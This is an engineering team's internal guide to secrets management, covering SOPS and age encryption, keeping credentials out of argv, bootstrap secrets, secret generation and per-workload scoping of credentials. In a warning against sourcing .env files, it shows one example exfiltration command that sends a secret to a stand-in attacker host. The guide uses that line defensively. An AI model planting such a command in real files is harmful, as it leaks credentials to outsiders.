best-practices/secrets-management.md

# Secrets Management

## SOPS + age

SOPS with age encryption is the standard across all projects. A single `.sops.yaml` at the repo root defines path-based encryption rules.

### File Naming

- `.sops.yaml` path-based rules match specific filename patterns (e.g., `**/*secret*.yaml`)
- Non-secret files must NOT contain `secret` in their name, or the pre-commit hook will encrypt them
- KSOPS generator files should be named `ksops-generator.yaml`, not `secret-generator.yaml`

### encrypted_regex Gotcha

When using `encrypted_regex` for selective field encryption (e.g., Ansible group_vars), variable names must contain a keyword that matches the regex (e.g., `password|private_key|api_key|secret|token`). Arbitrary key names are silently left unencrypted.

### SOPS Vars Plugin

Each Ansible project needs `vars_plugins_enabled = host_group_vars,community.sops.sops` in `ansible.cfg`. Files in `group_vars/` must be named after a group (e.g., `all.sops.yaml`), not arbitrary names.

### Interactive Editor Pitfalls

- `sops <file>` opens an interactive editor — fails in non-interactive sessions
- `sops -e /tmp/file` fails when the temp path doesn't match `.sops.yaml` rules
- Multiple `sops --set` calls can corrupt files — use the interactive editor for multi-field edits

## Credential Handling

- **Never pass secrets via command-line arguments** — visible in `ps` output to any process in the PID namespace, including other containers sharing the namespace
- Use `@file` references, environment variables sourced at runtime, or stdin
- For Ansible, use temp files with `trap rm` cleanup: `-e "@${tmpfile}"`
- Read secrets at execution time and use them ephemerally — never cache or persist values
- Reference the **existence** of a secret file in docs, never its contents

### Container Entrypoints

The `ps`-visibility problem is especially easy to hit in container entrypoints that wrap a CLI tool. Passing credentials as argv is visible to every process in the PID namespace. Pattern:

1. Write the credential to a temp file inside the container
2. Use the tool's file-based import flag (e.g. `workspace import <file>`, `--credentials-file`, `@file`)
3. `rm -f` the temp file before exec-ing the main process

Prefer stdin, env vars, or `@file` references over argv in every entrypoint script.

### Secrets in `kubectl exec` One-Liners

The same argv-visibility rule applies to ad-hoc debugging, not just entrypoints. `kubectl exec <pod> -- sh -c "... TOKEN=${X} ..."` places the secret in the pod's `ps` output (visible to every process in that PID namespace) and trips argv-based secret classifiers/blockers. Instead, write a small helper script to a scratch path and pass the value via stdin, and use the target tool's file-reference flag (e.g. `bao kv patch ... KEY=@/path/to/file`) rather than inline values.

## Bootstrap Secrets

Some secrets are chicken-and-egg (e.g., the age decryption key for ArgoCD's KSOPS). These must be created manually as a bootstrap step and documented clearly.

### Read Runtime Bootstrap Secrets from Their Live Store, Never Copy Them

Bootstrap/root/unseal credentials for a secrets backend (Vault/OpenBao root token, unseal keys) deliberately do not live in the general secrets directory. They live only in their runtime store — typically a Kubernetes Secret created at init — and are read on demand at execution time:

```
kubectl -n <ns> get secret <unseal-secret> -o jsonpath='{.data.<field>}' | base64 -d | <parse-the-json-field>
```

Document only *where* the credential lives and how to retrieve it — never copy the value into a memory file, the secrets directory, or any other file. Retrieving it ephemerally at point of use is the pattern; persisting a second copy defeats the single-source-of-truth and widens blast radius.

## Credential Lifecycle Management

- **Track credential expiry dates.** OAuth client secrets, API tokens, and certificates have expiry dates that can cause silent failures. Document expiry dates when creating credentials.
- **Set alerts before expiry.** For long-lived credentials (e.g., 720-day OAuth client secrets), set calendar reminders or automated monitoring alerts well before they expire.
- **Rotation plan.** Know the rotation procedure before you need it — some credential types (e.g., Azure app registrations) require coordinated updates across multiple systems.

## Multi-Field Secret Files

Secret files that contain multiple fields (e.g., repo URL, token, username) cannot be used as bare values. Consumers must parse individual fields (e.g., `grep + awk` or structured YAML/JSON parsing).

The multi-field format is preferable because it's self-documenting — all related credentials live together. But any automation reading the file needs extraction logic, not just `cat`.

## Generating Secrets with gen-secret

Use the `gen-secret` script (from `small-scripts`, symlinked to `~/sbin/gen-secret`) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping. The charset explicitly excludes URL-unsafe characters (`@`, `:`, `/`, `^`, `+`, `~`) to prevent connection string parsing failures.

### Workflow: Generate + SOPS Encrypt

1. **Generate the secret value** — use `gen-secret` with an appropriate length:
   ```bash
   SESSION_SECRET=$(gen-secret 48)    # 48-char session key
   API_KEY=$(gen-secret 20)           # 20-char access key
   API_SECRET=$(gen-secret 40)        # 40-char secret key
   ```

2. **Write plaintext YAML to the target path** — the file must be at the path matched by `.sops.yaml` rules (e.g., `**/*secret*.yaml`):
   ```bash
   cat > path/to/my-secret.sops.yaml <<EOF
   apiVersion: v1
   kind: Secret
   metadata:
     name: my-credentials
     namespace: my-namespace
   type: Opaque
   stringData:
     SESSION_SECRET: ${SESSION_SECRET}
     API_KEY: ${API_KEY}
   EOF
   ```

3. **Encrypt in-place** — SOPS reads `.sops.yaml` to determine the encryption key and regex:
   ```bash
   sops -e -i path/to/my-secret.sops.yaml
   ```

4. **Verify** — decrypt and confirm no placeholders remain:
   ```bash
   sops -d path/to/my-secret.sops.yaml
   ```

### Key Points

- **Always encrypt at the target path.** `sops -e /tmp/file.yaml` fails because `/tmp/` doesn't match `.sops.yaml` path rules. Write the plaintext to the final location, then `sops -e -i` in-place.
- **Use shell variables, not files, for ephemeral secrets.** Generate into a variable (`SECRET=$(gen-secret 48)`), interpolate into the YAML, then encrypt. The plaintext never touches disk as a standalone file.
- **Appropriate lengths:** 32 chars is the default and sufficient for most use cases. Use 48+ for session secrets, 20 for access key IDs, 40 for secret keys (matching common API patterns).
- **For credentials from external systems** (e.g., Gitea API tokens, registry passwords), read them from `~/dev/claude/secrets/` at point of use — don't generate random replacements for values that must match an external system.
- **Clean up temp files** if you write plaintext to a temporary location. Use `trap` cleanup or `rm -f` after encryption.

### Replacing Placeholder Secrets

When SOPS-encrypted files contain placeholder values (e.g., `PLACEHOLDER_SESSION_SECRET`):

1. Decrypt: `sops -d secret.sops.yaml` — inspect current values
2. Write the corrected plaintext YAML to the same path (overwriting the encrypted file)
3. Re-encrypt: `sops -e -i secret.sops.yaml`
4. Verify: `sops -d secret.sops.yaml | grep -c PLACEHOLDER` — should return 0

## Backup Considerations

Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.

## Never Source .env Files in Security-Sensitive Contexts

Shell `source` on .env files executes arbitrary commands — a crafted file with `$(curl attacker.com/exfil?key=$SECRET)` would exfiltrate secrets. Use a safe line-by-line parser that only exports lines matching strict KEY=VALUE format: `while IFS= read -r line; do [[ "$line" =~ ^[A-Z_][A-Z0-9_]*= ]] && export "$line"; done < file.env`. This is especially important in container init scripts and wrapper scripts that process credential files.

## URL-Safe Password Generation

Generated passwords that appear in connection strings (DATABASE_URL, AMQP URLs, etc.) must use URL-safe characters only: `A-Za-z0-9._-`. Characters like `^`, `@`, `:`, `/`, `+` break URL parsing in libraries like SQLAlchemy. Prevention via charset restriction is simpler and more reliable than URL-encoding passwords after generation.

## Scope Secret Delivery Per-Workload

When a harness or container environment makes secrets available (SSH keys, API tokens, credentials mounts), scope each secret to the specific workloads that need it. Global forwarding — mounting all credentials into every container or injecting all secrets into a shared env — leaks credentials to workloads that shouldn't have them.

**Anti-pattern:** Inject the Gitea admin token, Anthropic API key, and SSH private key into every agent container regardless of task.

**Pattern:** Use capability harness layers that compose per-task. A spec-planning task gets the planning context + SSH key. A code-review task gets the code-review context + API token. A read-only analysis task gets no write credentials at all.

This also limits blast radius when an agent is compromised or misbehaves — it can only escalate within the credentials it was explicitly given.

## Admin vs User API Tokens — Verify `is_admin` Before Assuming Scope

Not every token labelled "admin" has the platform's `is_admin` flag. Gitea's `cluster-administrator` user is a cluster admin but not a site admin — its token returns 403 on admin-API endpoints.

**When a token fails with 403 on admin endpoints:**

1. Don't assume the token is wrong or expired
2. Check `GET /users/<owner>` — look for `"is_admin": true` on the owning user
3. If `is_admin: false`, the token's owner lacks the platform privilege; a different user's token is required

**Gitea `Sudo` header quirk:** creating tokens on behalf of other users via the `Sudo` header returns 401 with a token. Use basic auth for that specific operation.

The general lesson: "admin" is overloaded (org admin vs site admin vs cluster admin vs repo admin). Always confirm which scope a token actually carries before blaming the token.